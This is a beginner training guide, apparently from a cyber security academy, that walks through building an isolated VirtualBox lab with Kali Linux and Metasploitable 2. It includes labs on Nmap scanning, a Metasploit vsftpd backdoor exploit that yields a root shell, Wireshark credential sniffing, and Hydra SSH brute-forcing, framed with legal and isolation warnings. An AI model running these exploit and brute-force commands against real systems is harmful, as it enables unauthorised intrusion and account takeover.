TEKTUT

FREE GUIDE

Build Your Cyber Security Home Lab

A practical, beginner-friendly guide to setting up your own virtual lab — plus five hands-on labs to start building real skills from day one.

BEGINNER FRIENDLY | 100% FREE TOOLS | HANDS-ON LABS

tektut.academy

WHAT'S INSIDE

Contents

SECTION 01

Why Build a Home Lab?

Every employer in cyber security wants candidates with hands-on experience. Certifications prove you understand the theory — a home lab proves you can actually do it.

A home lab is a safe, private environment where you can practise real attack and defence techniques, break things without consequences, and build the muscle memory that separates a confident analyst from someone who just passed an exam.

What you can practise in a home lab:

- Scanning networks and identifying live hosts and open ports
- Exploiting known vulnerabilities on intentionally vulnerable machines
- Capturing and reading network traffic to spot suspicious activity
- Running vulnerability scans like a professional SOC analyst would
- Practising password auditing and brute-force detection
- Building the evidence-based portfolio that gets you hired

CAREER TIP

Many hiring managers say they care more about a candidate's home lab write-ups on LinkedIn or GitHub than the cert itself. Document every lab — even a short paragraph — and share it.

SECTION 02

What You Need

You do not need expensive hardware. The entire setup below runs on a standard laptop or desktop with at least 8GB of RAM. Everything is free.

COMPONENT	REQUIREMENT	FREE OPTION
Computer	8GB RAM minimum, 16GB recommended	Any laptop or desktop from 2015+
Processor	64-bit CPU, virtualisation support	Intel VT-x or AMD-V (free, built-in)
Storage	50GB free disk space minimum	External USB drive works fine
Hypervisor	Software to run virtual machines	VirtualBox — free, open source

Attacker OS	Penetration testing platform	Kali Linux — free ISO download
Target OS	Vulnerable practice machine	Metasploitable 2 — free download
Packet analyser	Network traffic capture	Wireshark — free, open source
Vuln scanner	Automated vulnerability scanning	Greenbone (OpenVAS) — free community

SECTION 03

Setting Up VirtualBox

VirtualBox is the engine that runs your virtual machines. It is free, runs on Windows, macOS, and Linux, and is more than capable for everything in this guide.

1 **Download VirtualBox**
Go to virtualbox.org and download the installer for your operating system. Choose the latest stable release.

2 **Run the installer**
Launch the downloaded installer and follow the prompts. Accept the default settings — they are sensible. You may need to allow a system extension on macOS.

3 **Install the Extension Pack**
On the same download page, grab the VirtualBox Extension Pack. Open VirtualBox, go to File → Preferences → Extensions, and install it. This enables USB 3.0 and other features.

4 **Enable Virtualisation in BIOS (if needed)**
If VirtualBox shows an error about virtualisation, restart your PC and enter the BIOS/UEFI. Look for Intel VT-x or AMD-V and enable it. The exact steps depend on your manufacturer.

5 **Create your first VM**
Click New in VirtualBox, give it a name, choose Linux and Ubuntu 64-bit, and assign at least 2GB RAM. We will attach the OS disk in the next section.

> **SAFETY FIRST**
>
> Never run your home lab on the same network as sensitive work devices without proper network isolation. The next section shows you how to set up an isolated internal network so your lab traffic never touches your real network.

SECTION 04

Downloading Your VMs

You need two virtual machines to start:

VM	PURPOSE	WHERE TO GET IT
Kali Linux	Attacker OS — pre-loaded with security tools	kali.org/get-kali Choose: Virtual Machines
Metasploitable 2	Vulnerable practice target	sourceforge.net Search: Metasploitable

Kali Linux comes as a pre-built VirtualBox image (.ova file) — just import it with File → Import Appliance. Metasploitable 2 comes as a .vmdk disk — create a new VM and use the existing disk when prompted.

SECTION 05

Basic Lab Network Setup

Before running any labs, isolate your virtual machines from your real network. In VirtualBox, set both VMs to use an Internal Network — this creates a private, sandboxed network that only your VMs can see.

1 **Open VM Settings**
In VirtualBox, select your Kali VM → Settings → Network.

2 **Set Adapter 1 to Internal Network**
Change "Attached to" from NAT to Internal Network. Name it "labnet". Repeat for Metasploitable 2.

3 **Add a NAT adapter for internet access on Kali (optional)**
Add a second adapter to Kali set to NAT. This lets Kali update packages while keeping lab traffic isolated.

4 **Verify connectivity**
Start both VMs. In Kali, open a terminal and run: ping [Metasploitable IP]. If you get replies, your lab network is working.

FINDING YOUR TARGET IP

To find your Metasploitable IP address, log in (user: msfadmin / password: msfadmin) and run: ifconfig. Look for the inet address on eth0.

HANDS-ON LABS

Five Beginner Labs

Each lab below can be completed entirely inside your home lab with no external tools or subscriptions. Work through them in order — they build on each other.

LAB 01

Scan Your Network with Nmap

Beginner · 20–30 minutes · Tools: Nmap (pre-installed on Kali)

What you will learn:

- How to discover live hosts on a network
- How to identify open ports and running services
- How attackers map a target before attempting an exploit

Lab steps:

1 **Start both VMs**
Boot Kali Linux and Metasploitable 2. Confirm both are on the Internal Network.

2 **Open a terminal in Kali**
Right-click the desktop → Open Terminal, or find it in the taskbar.

3 **Run a host discovery scan**
Replace 192.168.56.0/24 with your lab subnet.

```
nmap -sn 192.168.56.0/24
# -sn = ping scan only (no port scan), finds live hosts
```

4 **Run a full port scan on your target**
Replace TARGET_IP with the Metasploitable IP you found earlier.

```
nmap -sV -A TARGET_IP
# -sV = detect service versions -A = OS detection, scripts
```

5 **Review the output**
You will see a list of open ports (21 FTP, 22 SSH, 80 HTTP, 3306 MySQL...). Each is a potential entry point. Write down three that interest you.

BUILD YOUR PORTFOLIO

Screenshot your Nmap output and note what each service does. This habit — documenting recon — is exactly what you will do as a cyber analyst in a real SOC.

LAB 02

Exploit a Vulnerability with Metasploit

Beginner · 30–45 minutes · Tools: Metasploit Framework (pre-installed on Kali)

What you will learn:

- How the Metasploit Framework works
>
- How to search for and configure an exploit module
>
- What gaining a shell on a vulnerable system looks like
>

Lab steps:

1 **Launch Metasploit**

Open a terminal in Kali and start the Metasploit console:

```
msfconsole
```

1 **Search for a vsftpd exploit**

Metasploitable 2 runs a backdoored version of vsftpd 2.3.4 — a famous real-world vulnerability.

```
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
```

1 **Set the target and run the exploit**

```
set RHOSTS TARGET_IP
# RHOSTS = Remote Host (your Metasploitable IP)
run
```

1 **Explore your shell**

If successful, you will have a root shell on the target machine. Type whoami — it will return 'root'. Type ls to list files. Type exit when finished.

---

2 **Understand what happened**

You just exploited a backdoor deliberately placed in software by an attacker in 2011. This is why patch management matters — and exactly why analysts monitor for unpatched services.

LEGAL REMINDER

> Only ever run these techniques on machines you own or have explicit permission to test. Running exploits against real systems without authorisation is illegal.

LAB 03

Capture & Analyse Traffic with Wireshark

Beginner · 20–30 minutes · Tools: Wireshark (pre-installed on Kali)

What you will learn:

- How to capture live network traffic
>
- How to filter packets to find what you are looking for
>
- How to spot cleartext credentials in unencrypted protocols
>

Lab steps:

1 **Open Wireshark**
Launch Wireshark from the Kali applications menu or terminal: wireshark &

2 **Select your interface**
Choose the network interface connected to your lab network (usually eth0 or eth1). Click the blue shark fin to start capturing.

3 **Trigger some traffic**
In a separate terminal, FTP to your Metasploitable machine:

```
ftp TARGET_IP
# Login with: user = msfadmin / password = msfadmin
```

1 **Filter for FTP packets**
In the Wireshark filter bar, type:

```
ftp
```

1 **Find the credentials**
Scroll through the FTP packets. You will see the username and password sent in plain text — clearly visible to anyone on the network. This is why FTP is considered insecure and why modern systems use SFTP.

2 **Try HTTP**
Browse to http://TARGET_IP in Firefox, then filter Wireshark for HTTP. Find the GET request and inspect the headers.

SOC ANALYST TIP

> When you spot cleartext credentials in a packet capture during a real investigation, that is a critical finding. Document it, timestamp it, and escalate immediately.

LAB 04

Brute-Force Practice with Hydra

Beginner · 20–30 minutes · Tools: Hydra (pre-installed on Kali)

What you will learn:

- How brute-force and credential stuffing attacks work
>
- Why account lockout policies and strong passwords matter
>
- How defenders detect brute-force attempts in logs
>

Lab steps:

1 **Confirm the target is running SSH**
Metasploitable 2 runs SSH on port 22. Verify with: nmap -p 22 TARGET_IP

2 **Run Hydra against SSH**
Hydra will try the username/password combinations in a wordlist. Kali includes several wordlists. We will use the built-in one:

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP
# -l = single username -P = password wordlist file
```

1 **Note the speed**
Watch how quickly Hydra cycles through passwords. On a weak password ('msfadmin'), it finds it in seconds. This is why modern systems enforce account lockout after 5-10 failed attempts.

2 **Check the Metasploitable logs**
SSH into Metasploitable and view the auth log. Every failed attempt leaves a trace — this is what a SOC analyst looks for when investigating a brute-force alert.

```
cat /var/log/auth.log | grep 'Failed password'
```

LAB 05

Run a Vulnerability Scan with Greenbone

Beginner · 45–60 minutes · Tools: Greenbone Community Edition (separate install)

What you will learn:

- How professional vulnerability scanners work
- How to interpret a vulnerability report
- What CVE numbers are and how to look them up

Setup — install Greenbone on Kali:

```
sudo apt update && sudo apt install -y openvas
sudo gvm-setup
# This takes 10-20 minutes on first run — it downloads the vulnerability database
sudo gvm-start
```

1 Open the web interface

Navigate to https://127.0.0.1:9392 in Firefox. Log in with admin and the password shown at the end of gvm-setup.

2 Create a new scan target

Go to Configuration → Targets → New Target. Enter your Metasploitable IP as the target.

3 Create and run a scan task

Go to Scans → Tasks → New Task. Select your target, choose Full and Fast as the scan type, and click Save. Click the play button to start.

4 Review the report

The scan will take 15–30 minutes. When complete, open the report. You will find dozens of vulnerabilities on Metasploitable — each with a severity rating, CVE number, and remediation advice.

5 Look up a CVE

Find a High severity finding. Copy the CVE number and search it at nvd.nist.gov. Read the full description and impact score.

PROFESSIONAL CONTEXT

Greenbone reports are formatted similarly to professional vulnerability assessment reports. Save a copy and study the structure — it is exactly what you will produce as an analyst.

NEXT STEPS

Where Do You Go From Here?

You have built a working lab, run real tools, exploited a vulnerable system, captured network traffic, and run a professional vulnerability scan. That is more hands-on experience than most people have when they first apply for a cyber role.

The next step is to turn that practical foundation into a recognised qualification. CompTIA certifications are the most widely accepted entry-level credentials in UK cyber security hiring — and everything you have done in this lab directly supports them.

Recommended certification pathway:

- CompTIA Network+ — understand the networks you will be defending
>
- CompTIA Security+ — the core security qualification most employers require
>
- CompTIA CySA+ — the analyst-level qualification that gets you hired as a SOC analyst
>

TekTut's Cyber Analyst route takes you through all three in six months — with structured live sessions, mentor support from industry professionals, and a clear path to your first role.

Ready to make this official?

Take the free Career Route Quiz to find your ideal training path — or book a free 15-minute call with a TekTut advisor.

tektut.academy

CompTIA Authorized Partner · CPD Certified · tektut.academy

TekTut Cyber Security Academy

Structured training for career changers entering cyber security.

tektut.academy

CompTIA Authorized Partner · CPD Certified